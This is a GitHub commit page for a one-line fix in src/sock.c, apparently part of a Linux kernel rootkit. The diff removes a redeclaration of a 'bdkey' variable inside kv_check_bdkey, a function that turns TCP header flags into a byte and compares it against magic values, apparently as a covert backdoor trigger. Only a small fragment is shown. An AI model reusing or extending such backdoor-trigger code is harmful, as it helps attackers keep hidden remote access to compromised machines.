Skip to content

Commit

Permalink
crypt: Fix redeclaration of bdkey
Browse files Browse the repository at this point in the history
Was referencing iself from the global
  • Loading branch information
JNE committed Dec 12, 2024
1 parent 1226300 commit 404fa72
Showing 1 changed file with 0 additions and 1 deletion.
1 change: 0 additions & 1 deletion src/sock.c
Original file line number Diff line number Diff line change
Expand Up @@ -445,7 +445,6 @@ bool kv_check_bdkey(struct tcphdr *t, struct sk_buff *skb) {
uint8_t silly_word = 0;
enum { FUCK=0x8c, CUNT=0xa5, ASS=0x38 };
decrypt_callback cbkey = (decrypt_callback)_bdkey_callback;
extern struct kv_crypto_st *kvmgc_bdkey;

silly_word = t->fin << 7| t->syn << 6| t->rst << 5| t->psh << 4|
t->ack << 3| t->urg << 2| t->ece <<1| t->cwr;
Expand Down

0 comments on commit 404fa72

Please sign in to comment.